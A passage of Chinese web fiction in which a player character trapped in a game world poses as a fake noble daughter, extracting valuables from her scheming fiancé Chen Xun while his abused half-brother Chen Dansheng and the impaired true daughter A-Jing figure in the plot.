从茶壶里倒了几滴水出来,沾在手上尝试在桌板上写出你的名字。 光写了姓氏就写不下去。 指头在半空中顿着,你尝试写其他字。 【阿棘】 写得出来。 【阿荆】 也能写出来。是有什么人刻意教过,还是程序里明写你认识这两个字? 你伸平手掌将水字擦去,徒留汇聚的水痕。用不了多久,这些水也要彻底干涸不见。 ——变成文盲了。 你靠坐在柜子上,眼睛在屋中扫视一圈,盯向墙上悬挂着的长剑。 尝试着用功法登上去,但因人设中身体未经过训练,再加上失去武力值的加成,即便动作标准,做得一点错误也无,也只能达成第二关时1%的成效。 ……没关系。 至少知道了自己需要努力的方向。 你最终踩着椅子,将墙上的剑拿到手里。拔剑出鞘,一声锋利的金属嗡鸣响起。 不错的剑,是你的了。 你握剑往外走:“时间差不多,夫人可以给阿荆洗澡了。” 自顾自说了半天刻薄话的陆智云:“……” 阿荆被丫鬟剥得只剩里衣送进来。她眼巴巴望你:“阿棘去哪?” 你道:“我洗完了,现在要在院中练剑,你听得见我的声音。” “好。” 陆智云脸色阴沉,从里面将房门关紧。在她眼中,你还有脸与阿荆亲近,实在可憎,令她作呕。 你回想记忆中的剑式,想得起来,没受限。 所以目前限制你的只有:【识字记忆(知识领域)】、【肌肉记忆】。 其他不变。 剑平抬腿,翻转后极速改刺,手腕发力甩剑。 这是宁师父的杀技。 一招练毕,你收剑,望向在旁观摩许久的三人。 顾太守、陈校尉与陈家大公子陈珣。 顾氏自长安而来,不论以往声望如何,想在江陵立足,就要与本地豪强联姻。因此顾太守的大女儿嫁去了张氏,儿子娶了周氏的女儿。 你回来之前,顾太守欲与陈家结交,用盐矿换些部曲,但又舍不得东西。看出对方也有往来的意思后,太守搁置拿乔起来。三女儿的归来解了他的郁结,两家通婚带来的利益更深也更浅些。 浅显的金银珠宝给些无所谓,他可以得到部曲,而祖传的盐矿或不必许出去。顾氏虽没落,但到底是世家大族,有前朝的声望在。像陈氏这般小门小户出身的家族,娶他家的女儿是高攀。 得到陈家兵力,之后再蓄养些,他在江北这边便无人匹敌。不管朝中如何作乱,顾家永远在江陵城头不倒。 至于他的女儿是谁并不重要,肯听话,为他办事,血缘无所谓。甚至在得知你身份后,他反而松了口气。爱财之人最好拿捏,你又有罪名把柄在他手上,以后有事用得上你,不论威逼还是利诱都会好用。 婚约定了已久,陈校尉带儿子登门,说是讨教顾公经文论道,实则还是想见见这位遗落在外的三小姐真容。 顾太守引人进来,早派了丫鬟去夫人那边通气,却迟迟没得来回应。进了院落一看,这位假女儿竟在练剑。 这般迅疾利落的剑法,像是出自哪位名家之手,却看不出师出何处。 只是乡野长大的孤女那般简单吗?他这步棋是否走错了? 在他们打量你的时候,你也在反过来注视他们。 陈校尉个子不高,比顾太守和他的儿子矮了一个头,但从衣袍中透出的身姿看上去鼓鼓囊囊,十分有力。 陈珣就是你在这一关的未婚夫了。 此人衣着华丽,暗蓝色的深衣在日光下泛着温软的光,玉冠在发顶,并未盘起发髻,而是束了一小捋马尾,余下的头发半披着,耳朵上坠着流苏般的金线,缠着紫青玉石。 除去外表装饰,他身量高挑,宽肩细腰,相貌俊朗而有一股邪气。 顾太守咳了咳:“及钰,为何见人不行礼?” 陈校尉笑道:“免了。” “我这边还有许多经中不解之处,想与顾兄探讨几刻。今日天气这样好,伯逾,带三小姐去江边走走。” 陈珣规规矩矩行礼,姿势行云流水,举手投足尤其贵气。 像是有意做给你看的。 “是,父亲。” 一门之隔的房内传来了木架翻倒声。陈氏父子疑惑望去,见顾太守神色不变,便没说什么,也想不到家中还藏了第二个“三小姐”。 陈校尉笑了笑粉饰,由太守引入书房听他讲解经义。 陈珣则微笑着低头望你:“三小姐,这边请。” 你还盯着那扇门瞧,闻声道:“我昨天去过了,公子若想赏景自己去更自由。” 阿荆没了声响,她是被陆智云控制住了,还是出了什么别的事? 你还没见过故事里的女主角是傻的,很好奇阿荆在原剧情里的走向。 按照真假千金的套路,恶毒女配作为假千金,在故事的开端一定优于女主处于上势,就像你和阿荆如今的处境一样。 但不久之后,或者说明天后天,阿荆就能找到翻身的转机。 会是什么? 你很好奇。 被你拒绝,陈珣的笑意丝毫不减:“三小姐是不愿赏光吗?不管如何都是顾大人的要求,世家之中尤其讲究孝道……” 你不为所动。 “……我会陪着三小姐散步闲聊,你不知道顾家在长安的事,我却知道许多。” 你打了个哈欠。 “江边的落日像未熟的蛋黄,黑燕踏水飞过,能闻到软绵绵的栀子花香。” “……栀子花?” 你昨天就收到一个年轻男人送的栀子花,说是面前之人的弟弟。 他们两个长得一点不像,和陈校尉更是沾不到边。唯一的优点和相似点是他们都相貌很好,身材颀长。 为什么要送花? 喜欢你?不像,那人眼中对你畏惧更多些。你收下花后就立刻逃走了,乌黑轻柔的发丝在身后波纹般荡起。 他们兄弟之间会有剧情里的男主吗? 看看。 “江边有栀子花吗?” “南坡上长了许多野栀子,是百年之前的郡主种下的花籽,之后便年年开花。”他笑,“贱民常去那边玩乐,三小姐感兴趣,备车去一趟未尝不可。” 你道:“公子在内涵我吗?” 陈珣不解“内涵”之意,但他凭本能判断出不是什么好词。 乡野村鄙之词吧,两个好好的字,竟被这样糟蹋了。 “三小姐此话何意?” “你说我是贱民,还说……” 你调出虚拟面板,找到【剧情回顾】看他之前的言论。 “还说世家之间讲究孝道,是指我不是世家出身,所以不懂你们的讲究。你在跟我炫耀你的出身,你瞧不起我,是不是?” 陈珣:“……” 他的笑脸有了裂痕。 “三小姐可真是冤枉我了,我并无此意。” “那我去问问你爹,你说的话好不好听。” 你转头朝顾府的书房走去,陈珣迅速拉住你,又立刻松开,脸上的嫌恶一闪而过,化作了内疚般虚伪的神色。 “不曾想随口之言遭受淑女这般误解。我敢对天发誓,绝无三小姐口中那般恶意,否则天诛地灭。” “那就算你说话难听。” “……” “你冒犯到我,总要些赔偿。” “三小姐请讲。” “把你身上最值钱的东西拿下来送我。” 陈珣嘴角一撇,露出一丝嘲讽,借低头的姿势掩盖过去。 他解了腰间佩玉,一连串的玉佩组,问你要哪个? 你道:“我要最贵的。” 他琢磨了下,将扳指也摘下穿进玉佩的绳子上。 你仍摇头。 “三小姐,贪得无厌,最后只会空盼一场。” “现在做错事,答应我赔偿的可是你。” “好,那某身上之物,任凭三小姐挑选。” 你视线从他脚上踩的靴子,到扎了腰带的细腰,一路向上。 陈珣莫名有些紧张,他过去不曾有女子这般大胆无所顾忌地盯视,到底是乡下来的,一点礼数都不…… 你指尖点了点他的胸口左侧,眼睛向上睨他:“我要这个。” 布料之下,是因紧张而狂跳的心脏。 他迟迟不言,你觉得无趣:“开个玩笑,把你的耳坠也摘下来送我吧。” 你从他手里拿过玉佩组,拎着套绳的末端,拨了下扳指让它环绳转了两圈。 随后摘下的耳坠也挂在上面。 离开顾家时,你得把这东西卖了,应该够衣食无忧活一段时间。 你和陈珣约定府外的马车中见。 回房找了个匣子装你的财物。 等你坐上马车,发现马车里将要与你同行的人不再是陈珣。 而是昨日来送过栀子花的他的弟弟,陈家的私生子陈澹生。 第114章 陈氏兄弟长相不同, 但肤色大约一致。陈珣的白是用钱堆出来的金贵的白,而陈澹生的白是看上去就很柔弱的白。 他似乎是常哭,眼尾留下了无法抹去的红痕。与你同坐一辆马车, 令他呼吸很是艰难, 耳垂仿佛有血要滴出。 随行的人变了一个, 你没过问原因,只说:“你和我去看野栀子?” 他张开红润的嘴唇, 半天答出:“……是。” “嗯。” 你挨着车窗坐下,撩开车帘让车夫开得快些。 “有些热了。” 车夫恭敬应声。 之后的车程你都靠在窗边,任由风吹起你稍短的黑发。 在乡野间长大的人, 无法像贵族女子般留一头乌黑顺长的发, 日常起居劳作都十分不便,也没有精力去保养。 所以只要看到比同龄女子短上几寸的头发, 就能判断出身如何。 陈珣说你是目不识丁的村妇,许给他做妻子是天人说梦, 只有陈澹生这种见不得光的贱种才与你相配。 时境使然,陈氏必须与百年世家通婚,来提升自己在群雄间的地位。为表诚心,家族献出嫡子, 当下与你订婚的是陈珣。 不过到了成婚那天, 他会与陈澹生换位, 由庶弟替他娶妻。 此举偷梁换柱,过分大胆, 但陈珣吃透了顾家看中的是陈氏兵力, 不在意他们兄弟谁娶顾家女儿。 他也不信顾太守那人会在意女儿的归宿,否则最开始就不会把大女儿嫁给一个四十多岁的老东西为继室。 陈澹生不配有反抗的资格,只能默默服从残酷的命运。 他日日受陈珣羞辱, 被迫与你亲近,做私相授受的事。 长兄叫他来时神色不对,双眼赤红,恨极般:“我就知道她要看上我的姿色……!真够恶心的,污泥般的人也敢妄想我的倾心?下辈子,下下辈子都不可能!我不可能爱上她!” 发泄完,他便又露出温柔的笑:“陈澹生,去和你的小妻子看花吧,你不是最喜欢那片栀子了吗?” “……” 他是喜欢那片栀子。 微卷的花瓣,明黄的花蕊。他在家里受兄长欺负,不敢哭的时候,便一个人去那片栀子前静坐。 和美丽的花待在一起,他会觉得活在世上值得。 然后整理心情,回去继续讨好他们,苟延残喘地往下活。 “三小姐喜欢什么样的花呢?” 以后成了婚,他可以在房里养些。 他语气怯懦,音色却好听,像身处宁静的夏夜,有萤火虫飞行的溪边。 “没有特别喜欢的。” 余光瞥到他忽然抬头,牙齿咬着下唇,忧虑地望着你,仿佛你喜欢还是讨厌花对他很重要般。 “也不讨厌。” 他松了口气,肩膀垂了下去,一缕头发落到身前。 你觉得不对劲,打开他的【人物档案】。 【人物档案】没有被屏蔽,看来文盲属性只在游戏之内。 陈澹生是陈校尉的私生子,生母是随军的妓女,和陈校尉在战场上做了七年夫妻。两人情真意切,养出了善良天真的儿子。 战争休止,陈校尉这方获利。他没再回长安,而是带着愿意追随他的部下停于江陵,靠军功获封郡中校尉的官职,官位不高,但能名正言顺练兵。 到了如今,陈氏已在江北这一片有了名望,旁人不敢轻易撼动。 家中,陈校尉参军前便有自己的妻子,妻子不容军妓,将人活活饿死。 陈校尉对此不闻不问,在他心中,军妓固然受他怜爱,但远不如嫡子在他心中的重量。他的家产,部曲,之后都只能留给嫡子,那才是他真正的儿子。 在家中,陈澹生是任人欺凌的存在。陈珣不屑于娶粗鄙的、在外长大的顾家小姐,便决定与庶弟换亲。 …… 如此,陈珣被你开除了男主候选。 无论如何,剧情里的男主不可能这样低劣处事,他应是戏份边缘的反派炮灰。 而被炮灰刁难的一般都是戏份多的角色…… 是主角,还是主角团之一? 你还不知道这个背景剧情会发展成什么样的故事,是也会像第二关一样,靠女主角做梦来揭秘吗? “陈公子,你有什么特长?” “……特长?” “你擅长什么?” 陈澹生低头,手指蜷缩进袖子里:“我什么都不会……” “藏拙?” 他抬眼,慌乱道:“我没有,我是废物,我什么都不会……” 似乎是真的。 你在他的【人物档案】里也没发现什么特别。 也许他只是原剧情里一笔带过,衬托反派陈珣形象的普通npc。 所以还是需要关注陈珣为难谁,或者吹捧谁,才能找到和阿荆搭档的男主,摸清这关的背景剧情。 ——也要注意阿荆的动向。 她到底是时而糊涂,时而清醒,还是有规律的糊涂,这种痴傻的状态是否有救? “三小姐可有喜欢的点心?我可以学……” 看来他已经彻底屈服于要娶你的命运。 你想了想,干脆利用。 “认字吗?” 陈澹生用力点头:“认的!我娘……那个人教我认的,我都记住了。” “你娘识字啊?” “我娘……那个人,龟将军入长安前,她是好人家的小姐,后来得罪了龟将军,家族被发落了……男子砍头,女子作娼妓充入军中,我娘……那个人,遇到了我爹,日子才好过,她总是跟我说这些……我是不是不该说这些话?三小姐应该不爱听!我……” “你家夫人不让你叫娘吗?” “……我说错了话,求求三小姐不要怪罪!” 如果不是坐着马车,他应该想要跪到地上求你。 你问:“不想杀了害你娘的仇人吗?” 他脸色惨白,泪很快蓄满眼眶,摇头:“我没有,没有的……” “那就算了。” 你道:“如果你说想,我会帮你。但你没这个胆量,所以你只能给我打白工。” “……白工?是谁,要打吗?” “是你要教我识字。” 马车停到野栀子生长的南坡之下。 一丛花而已,也就只是看看。你蹲身,闻到混杂着青草的清苦味,转身望不见边际的江水。 江水东流,有湿润的风吹过。 陈澹生采了几朵开得最好的栀子花送给你,小心翼翼碰了碰你的手指,让它们收拢。 你拿在手里摆弄几下,问:“栀子花怎么写?” 陈澹生愣了愣,抿唇蹲身,用指尖在地上画出三个字。 于是栀子花在你心中的字形从【■子花】变成了【栀子花】。 只要自己猜出来原字,或者别人把不认识的字教给你,你就能收回那些被游戏夺走的知识。 “你的名字?” 【陈■生】变为【陈澹生】 …… 回家已经过了晚饭的时间。 陈珣长发束在侧边编成辫子,松垮垮地搭着左肩,嘲弄的眼神循声朝陈澹生望来。 明明他的脚步已经很轻了。 “长兄……” “和你妻子今日都做了何事?花可好看?” “……好看的。” 陈珣弯了弯眼睛:“问你们做了何事呢,弟弟。” 陈澹生吓得颤抖,道:“我,我教她写了字。” “哈。” 他听见一声鄙夷的笑。 “她是没见识的村姑,你是没血性的贱种,你们两个很玩得来啊。” “……” “明日接着去找她,送她东西。” “是。” 只有这样。 之后顾家想翻账,利用成婚人选对不上,来要挟陈家时,陈珣能够拿出陈澹生他们早就暗通款曲的证据。 是他被骗了,念在陈顾两家的名声隐忍不发。 这样就可以倒打一耙。 ……都是往后的事了,等他一步步安排再说。 * 你回到了顾家。 随便吃口饭,在房里泡澡。 晾头发时,想起下午阿荆的异动,你找去了她的房间。 室内黑暗,没有点灯。阿荆抱着膝盖坐在床榻上发呆,听到脚步声,她惶然向床榻里面缩去,看清来人,她脸上撑起僵硬的笑容。 “是你啊,阿棘,你找我?” 她睁圆眼睛盯你,身子紧绷,仿佛随时都能从你身边窜出逃走。 她再次恢复了神智。 可惜何余死了。不然你想问他,在他带阿荆赶来江陵的这些日子,是否也有这样的情况发生? “记得白天发生的事吗?” 她顿了顿,摇头。 她记得。 她的状态不像失忆的人。 npc的想法在行动之前不会录入【人物档案】,你无从得知她的心声,只能看到她的状态:【极度恐慌】【恨】 她的敌人是你。 但亲近的人依然是你。 “你不记得白天的事,那是从什么时候起恢复意识的?” “日落。”她将头别开些,“阿棘,你问我这些……” “没事,不用放在心上。” “……” “就没别的话对我说吗?你想杀我,连句道歉都没有吗?” “道歉没用。” 而且也不是你做的,只是剧情设定而已。 “有用。犯错了就要认,杀了人,就该偿命。” “对不起。能让你心里好受的话,我不是不能说。” 你与她道别,承诺寻找治疗她痴傻之症的办法。 卧房里只剩阿荆一人。 她抱着被子,将怀抱填满,眼泪无知无觉下落。 你说得对,道歉无用。 听了也无法原谅,何必白费口舌。 * 为了更多地观赏背景剧情,第二日和陈澹生见面,你把阿荆带了过去。 两边没有值得留意的反应,看来他也不是男主。 见你额外领了人来,陈澹生有些尴尬,举止局促。 你对此不解。白日的阿荆单纯烂漫,和小孩子没什么两样,他何至于如此。 泛舟时,你拿了《贵院犬记》出来看,才明了他不自在的原因。 他吻了你,舌头卷入你的口中,细细吮吻。宽大微凉的手掌托着你的脸,热舌纠缠着淡淡茶香,细品味甘。 吻到喘不过气,他才松了你,颓坐在一旁落泪。 阿荆傻呆呆在船尾看着你们,发髻被荷叶挂蹭一下。 你奇道:“我们不是在说犬与蝴蝶?” 怎么就亲了? “对不起,三小姐。” 他哽咽道:“我不……我……对不起……” 你猜得出来,是他那坏哥哥又心理扭曲,逼他做轻薄的恶行回去取笑。 可真是一点骨气也没有。 阿荆突然说:“道歉无用!” 她倔强地盯你:“阿棘,不原谅他。” 原本就问心有愧,听到阿荆的话,陈澹生惊然抬眼看你,眼中绝望。 你对他处以缓刑:“赔我点东西也不是不能原谅。” 他朝你行拜礼:“三小姐请说……” 你道:“值钱的交出来。” 陈澹生于是摸索了浑身上下,窘迫地摘下脖子上的玉坠。 “求三小姐不要将它转他人之手,之后有了钱,我还想赎回来,这是……这是那个人给我留下的唯一的遗物。” “算了。” 你让他把玉坠收好,视线多凝了他一会儿,笑:“知道回去怎么说吗?” 第115章 “玉坠, 怎么没送出去?” 陈珣躺在榻上,长发水潭般铺散开,葡萄在空中抛掷, 准确无误地落入口中。 他含糊不清地问:“陈澹生, 你这狗开始听不明白人话了?” 陈澹生跪在地上, 用可怜的眼神望他:“我送了的,三小姐问我坠子的来历, 我说是那个人的遗物,她便心疼我,不想要了, 并非我没做长兄安排的事……” 仿佛听到什么好笑的字眼:“心疼?” “你有什么值得心疼?” 陈珣坐起身, 长眉入鬓,隐至乌羽般柔软的黑发。 “她有其他话吗?你和她究竟做了什么?” 陈澹生敛眸犹豫片刻。 这种犹豫可以有很多解读, 比如在犹豫要不要按照三小姐吩咐的话说给兄长听,也可以说成他在有心隐瞒两人相处的细节。 陈珣理解成了后者, 但之后如果有需要,他也会自动脑补成前者。 陈澹生为人,没有一个表情无用,全身上下充满算计。无论发生何事, 都是他最无辜。 “我吻了三小姐。” 话音落下, 室内陷入冰封般的寂静。灌了热汤般的晚风也像是从严冬吹来般, 冷寂刮过他的胸口,让他无法自抑地瑟缩与兴奋。 他知道说了会迎来愤怒, 可他是贱种, 他偏偏想说,想让陈珣也不好过。 强行撮合两个讨厌的人在一起,本意是践踏他们的自尊, 但若他们真的如他所指使般相亲相爱起来,不痛快的还会是陈珣自己。 “呵。” 陈珣在笑,隐有发怒的迹象。 陈澹生低头,看不清神色:“三小姐的舌像汤圆般柔软,却吸不烂,是女孩子的味道。” “她喘不过气,便轻轻推我。” “缠身抱住,能听到好听的声音……” 陈珣将桌案上的葡萄盘、茶盏、玉器尽数扫到地上。听到瓷器碎裂,爆发般刺耳的声响,他仍然觉得不够解气,蹲身拿起一片碎玉,光脚踩烂地上价值千金的葡萄,走到陈澹生面前。 “我让你接近她,玩弄她,可没让你真的爱上她!你有什么资格快活?” “是哪条舌头亲的?我割还是你自己割?” “长兄……”陈澹生伏地道歉,“我错了!我不该快活,不该违背长兄的意愿!长兄饶命!” 虽不至于真的割断舌头,但陈珣还是在他好看的脸上划下冰冷的一条。 稍微用力,便要割破皮肤,毁掉陈澹生最后的本钱,他那张蛊惑人心的无害的脸。 陈珣终于在他眼中看到恐惧,他笑着后退,指着他大笑。 “明日,明日你便这样去见她吧。” “我真好奇她的反应。你现在像个叫花子,还是这种身份和你相配,乞讨最合适你。” 陈澹生:“……” * 等在之前每日见到面的地方,来的人却是陈珣。 他穿了黑衣,愈发显出精瘦的身材,青竹般纤薄柔嫩。 长发半束,垂散下几绺编好的细辫,被披发遮掩。相较于他邪气的美貌,你更先看到的是他耳朵上挂的金圈。阳光下金丝的光泽晃眼,看上去就价值连城。 陈校尉家到底多有钱? 陈珣明知故问,微笑:“三小姐在等谁?” 你从亭子的围栏处起身,散了散裙摆:“公子为何以为我在等人?一人坐着亦有妙趣,上次公子放我独自去江边赏景,我便切身体会到这层奥秘。” 陈珣笑意凝固了下。 “今日公子不如也体会下。” 说着,你抬脚离开。 陈珣三步并两步挡你身前:“我在这,你要走,那贱人找你,你就能领他出去逍遥。我不解三小姐何意,是不满意你我之间的婚事,想要另嫁他人?” 你故作疑惑:“陈公子满口脏话,不知你话中的贱人是谁?我都不知情的事,你却说得头头是道,是想污蔑我,还是你背着我做了什么?” 陈珣沉默。片刻,轻笑一声。 想瞒着他。 还从来没人敢耍他,那些人的念头往往刚冒头,就被他掐灭,拧断头颅踩到地上。 可他如今无法发作,憋得他发狂。 要怎么做? 说他知道你和陈澹生亲嘴吃舌头了,还装什么纯洁?那他又是怎么知道这件事的?陈澹生难道会是在外面有了心爱的女子,回到家里兴冲冲分享的人吗? 承认陈澹生的出现是他安排,这场漏洞百出的计划就会提前被他父亲和顾太守知道,他就没办法摆脱被迫娶你的命运。 要怎么做? “对我说脏话就是有罪。”你朝他伸手,“耳环赔我,就不告状。” 陈珣:“……” 他很无语。 眼皮子浅到底的粗鄙女人,都是大小姐了,还就知道看他的钱财。 “这对是我新打回来的,三小姐。” “戴新的首饰来见我吗?” “有些误会。戴新的首饰也不一定是为了什么人,我自己戴着开心不行吗?” “行。”你掌心伸平,“脱下来赔钱,不然告诉你父亲你骂人是贱人。” “不记得我说过这种话。三小姐有证据吗?” 陈珣笑眯眯胡搅蛮缠。他真的舍不得给,因为他觉得自己戴这种圈形耳饰很好看,还没臭美够。 你完全有证据,都在【剧情回顾】里。可惜没办法截图给他看。 “证据吗?” 你朝他走近两步,抬手给他一巴掌。 骤然被扇耳光,陈珣满眼不可置信,眼眶很快被疼痛催红了起来。 “你打我?你敢打我?” “你冒犯了我,所以我打你,有问题吗?这就是你冒犯我的证据。” “……” 他的嘴唇抿成一线,阴着脸摘两侧的耳圈,交到你的手上。 你拎两只耳圈,对着日光看。欣赏腻了,将圈套在手腕上,像是刚刚什么都没发生过般。 “陈公子想带我去什么地方?” 陈珣笑道:“想带三小姐去逛街呢。江陵的市集虽不如长安琳琅满目,但该有的东西都有。今日三小姐看中什么,某都可为你买下。” 你问:“此话当真?” “千真万确,已经备好了银钱。” “好。” 你与陈珣坐马车出门上街。 车上,陈珣手交叠在膝头,指头轻轻拍打手背,不时与你找话题。 你每句话都回应,却不上心。和陈澹生口中温柔包容的你判若两人,陈珣在心里怨念地想,估计陈澹生是遇见吸人血的鬼了。 有人给结账,你便绸缪自己以后的发家基金,看见什么轻巧名贵的东西都让陈珣买下。 他的钱在逛到一半时用光,黑脸派仆人回家取了一次,他半真半假道:“三小姐与我在一起,该不会是为了我的钱财吧?” 你道:“是为了两家的联姻。陈公子不是吗?” 陈珣眉毛一跳:“自然是,哪还有别的。” 你去挑手链。老板精神抖擞地介绍他的玉石和银饰。 “公子,这可是情人泪,传说中天神的女儿为了不与凡人夫君分开,而流下这玉来,我们串成手串,都是搭配着卖给有钱人的……不不不!有情人,哈哈哈,口误口误!您看看喜不喜欢?” 陈珣笑而不答,将视线落在你身上。你也没让他失望,果断地拒绝这对会把你和陈珣捆绑起来的手链。 “老板,给我介绍金镶玉。” “这情人泪啊,戴过的恋人都回来我这还愿,之前再怎么被家中反对,戴上之后家里人都妥协了。” “看看金镶玉。” “情人泪侧着看像人的眼泪,由此命名。寒冷的天气啊,这玉靠在脸上贴一贴,还有温度呢!” “金镶玉。” “我们家不卖金镶玉!” 你指了指一块金锁,锁身嵌玉。 “小姐!”老板左右看看,小声告诉你,“这是假的,是想要显阔的人买的,小姐你凑什么热闹?” “我想要,包起来吧。” “那情人泪……” 你朝他道:“情人泪还是找有情人买。” “二位不是情人吗?” “不是。”你回答。 冤大头陈珣结账。 付完钱回来,你看到他在手腕上戴了什么。心下觉得好笑。 陈珣回应你的笑:“不过是用情人泪提醒自己勿要下凡罢了。” “倒是你,买假东西,太守若是知道,不知要作何感想。” 你们继续在街上漫步,偶然抬头,你在街边看到熟悉的身影。 是衣着雪白的陈澹生。 他跪得笔直,在一众乞丐群里格格不入。 他看到了你,或者说早就看到你,等待你和陈珣从街的另一头走来这边,发现他最丑的样子。 昨日陈珣发怒,不给他收拾东西的机会,喊了人便把他抛在这边,收买人心羞辱他。 他没有洗澡,身体是臭的,本不该抱有让你抛下陈珣来到他身边的念头。但他就是很想这种事发生在现实中。 可你没有。 不可能有。 他看得见你眼中惊讶的一瞬,但你只是看看,之后又被其他东西吸引目光,好像他从未在你身边过。 你的精力很有限,只能分给身边陪着的人。 你从陈澹生的面前经过,陈珣慢了你一步,侧头对陈澹生露出恶意的笑,但也只是一刹那,笑容散去,他还是陈氏的大公子,而他是路边的乞丐,无法穿进你的目光。 “让你站起来了吗?” “给我跪下去!” “不讨够钱,我们不会轻易放过你!” “敢哭?主子吩咐过,他敢哭就揍扁他!” 针对陈澹生的拳打脚踢开始,拳拳到肉。 你被声音吸引过去,看着被众乞丐踩在脚下的陈澹生。 视线移开,并无动作。 不管他? 为什么? 还不够可怜吗? 为什么不为他说话?别人都是这样的! 很好联想吧?是陈珣对他做了这种事! 你看不见吗? 第116章 ……是陈珣。 是他说了什么蒙蔽你。 一定是这样。 陈澹生在眼泪的浸泡中咬紧牙齿, 骨节分明的手抠入地里,泥土陷进指缝。 你对陈澹生爱答不理的态度,令陈珣心情极度畅快地离开, 仿佛他今日出现, 在你身旁忍辱负重就是为了这一场照面。 你无所谓, 托陈珣的福,钱袋里攒了不少值钱的东西, 之后去哪都会自由。 回到顾府。 经过园林,你发现被排斥在人群外的阿荆。 她一个人坐在石头的阴影里,头低着, 而距她不远是府中的丫鬟们, 她们忙完了手中的工作,和几个关系好的聚在一起聊天, 气氛十分欢乐。 在她们的对比之下,阿荆这边就变得凄凉。 你四下望了望, 走过去,不见陆智云的影子。 “阿荆,你娘呢?” 阿荆听到你的声音,仰起头对你笑:“阿棘。娘?什么娘呀?” 隔着衣裳, 她的肚子响起了空旷的声音, 但面上没有一丝异样的神色, 仿佛早就对此习惯。 “阿棘,你去哪了?” “赚钱去了。” “你什么时候回来呀?” “我已经回来了。” 你朝她伸手:“我带你去吃东西, 你早上吃饭了吗?” “阿棘你明天还走不走了?” “……” “你什么时候回来呀?” “……你想吃什么?” “想吃大肘子。” “我去给你叫。” 阿荆吃相规矩地吃了半个肘子和两碗饭。你两手撑脸, 道:“你怎样才能恢复正常?” “你的男主又在哪?” 阿荆咕咚咕咚喝了一碗水,额外吃了几个饭粒,苦恼地看着餐盘里剩下的肉。 “阿棘, 我想带回家去。” “这里就是你的家。” “这不是。” 她低落问:“我是傻子吗?” 你愣了愣:“不是,你是病人。” “我傻不傻呀?” “你很聪明。” “阿棘,我是傻子。” “你不是。” …… 陪着阿荆看蚂蚁到日落,你亲眼见证她眼神恢复清明的那一刻。 和拥有神智的阿荆无法相处,你们之间隔着背叛和仇恨。 你选择去察看陆智云的状态。 她在房中绣着东西,听到来人是你,立即摆起脸色。 “你找我做什么?” “阿荆在府中受丫鬟欺负,你不管吗?” 你问:“你的母爱难道到期了?如何续订?” 她听不懂你的用词,但字面意义大致能理解,你在嘲讽她。 到底理亏,她说话的底气不足。 “……我不知此事,明日会将丫鬟们叫来敲打一下。” “你敲打之后她们也只会老实一时半刻,这阵子过去,私下还是要轻待阿荆。” “那我该怎么办?日日看着她?我做不到,我无法看我的骨肉变成那副样子,我的心痛啊!你明不明白!还不是因为你,不是你,阿荆根本就不会落水,也不会伤到头变傻,都是你,都是因为你!你有什么资格数落我?” “你可以派一个你信得过的人到她身边。” “我知道!我会做的!”陆智云大吼,“那你呢,你哪去了?整天和陈家小子出去厮混,你们还没成婚呢!你知不知道羞耻?你知不知道那婚事原本不属于你?你根本不反省自己的罪恶!” “可怜我的女儿!我的孩子为什么都这么命苦?我对不起她们!对不起她们!” 哭声穿透力过强,你的耳朵被吵得不适,调头回房。 这日,你与陈珣去了陈家练兵的地方。 江陵的景致看得差不多,街上的宝贝都被你扫荡一空,只剩这种去处。 士兵身着盔甲,一队人手持兵器长跑,一队人负重练枪。人多如梳齿,动作整齐,看着很是恢弘。 这些都是陈家的私兵。 对陈珣而言,练兵之事司空见惯,并不稀奇。他今日带你来,是为他父亲,让他爹看看,他究竟有多么听话。只要他有命令,就算再怎么粗鄙的妇人,他都能“心甘情愿”娶回家。 所以家产必须要都给他,一文钱也不许给陈澹生。 陈校尉果然大喜:“顾小姐!子言怎的把你带来这种简陋的地方!” 他给儿子一个不赞同的目光,但眼底还是慈爱的。 “臭小子,去给顾小姐去摘几串青梅来!” “是,父亲。” 陈珣对你笑了笑,去到营地角落那棵青梅树上翻找果实。他有些不耐,就算嘴角扬着也无法掩饰。 知子莫若父母,陈校尉看在眼里,对你道歉:“我这孩子,从小没爹,少人教养,性子孤僻些,顾小姐以后可要多担待。” 你摇头,视线重新落到操练的军队中。从上往下看,是黑压压的人头。 “陈大人,我很好奇,你是怎么把这些人聚在这,让他们都听命于你的?” 陈校尉感到意外,但热情地回答了你的问题。 “最开始只有我一个兵,后来,我为了妻儿敢拼,敢杀,敢抢功,当了队率,之后又凭战功当屯长,一步步升到曲长,手下的兵越来越多。他们诚心服我,愿意拿命跟着我,我肯定也得带着他们过好日子,慢慢的,就今天这些人了。” “原是如此。” 他看出了你的心思,笑:“以后你嫁过来,这些人就都是你们两口子的。” 你因他的话动了动心思。 陈珣摘梅子回来,洗过的,递到你手里之后,他用帕子擦掌心的水珠,抽了腰间别的羽扇扇了扇。 青梅味酸,但酸中回甜,十分可口解暑。想也知道这果子是军中的美味,不然陈校尉不会特地让陈珣摘给你吃。 陈校尉欣慰地看着你们,眼眶湿润。他戳了戳眼角,往上看了片刻,踹陈珣。 “自己扇着凉快,怎么不给顾小姐扇?” 陈珣于是凑近给你扇。 是有些微风,将他身上香囊的味道都扇送过来。 或许是长辈在身边的缘故,此刻的他即便再怎么反派面相,都看起来无害。 “三小姐着迷了?这样看着我。” 他说这话是为了挤兑你,但你却顺着他的话答应下来。 “有点呢。” 你摘去他发尾上粘的叶片,趁他眼神复杂,在脑子里想些有的没的,将叶片塞进他的领口。 他失态地“啊”了声。 不太好听,很容易引起误会。 他捂住嘴,收到坡下老父亲一言难尽的目光。 将树叶从领子里翻出,扔到地上,他不着痕迹地用鞋子将讨厌的叶片踩个严实,冷道:“给你脸了,跟我放肆?” 你抱臂道:“我要告状了。” “你去告啊,你去告我爹也只会以为你在跟我打情骂俏……你笑什么?!!!” “当然是因为你可笑。” “你说我可笑?” 他胸口气得要着火,但不知怎么,想到惩罚,首先看的是你的嘴唇。 这地方被陈澹生亲过了! 他这辈子碰都不屑于碰。 “笑吧,以后三小姐有的是可笑的时候。” 他挽着你的手走出军营,将你送上马车,你叫住他,想问问陈澹生母子的事。 他停步回头,你却放弃了这个问题。 陈校尉为妻儿在战场拼命,不影响他在军营中有其他相好的女子,生下另一个属于他的孩子。 人就是这样的。 下了马车,侍女往你身后的方向看,朝你挤了挤眼睛。 入目是浑身湿淋淋的、捧着一束挂着水珠的栀子花的陈澹生。 墨发浸水后贴在脸上,衬得他楚楚可怜,令人怜惜的同时,也让人有种彻底摧毁他的欲望。 湿透了的白衣隐隐透出皮肤的颜色。你盯了会儿,解下披帛抖开,走到他身前将他脖子以下围住。 他睫毛抖了抖,抬起发红的眼:“三小姐……” 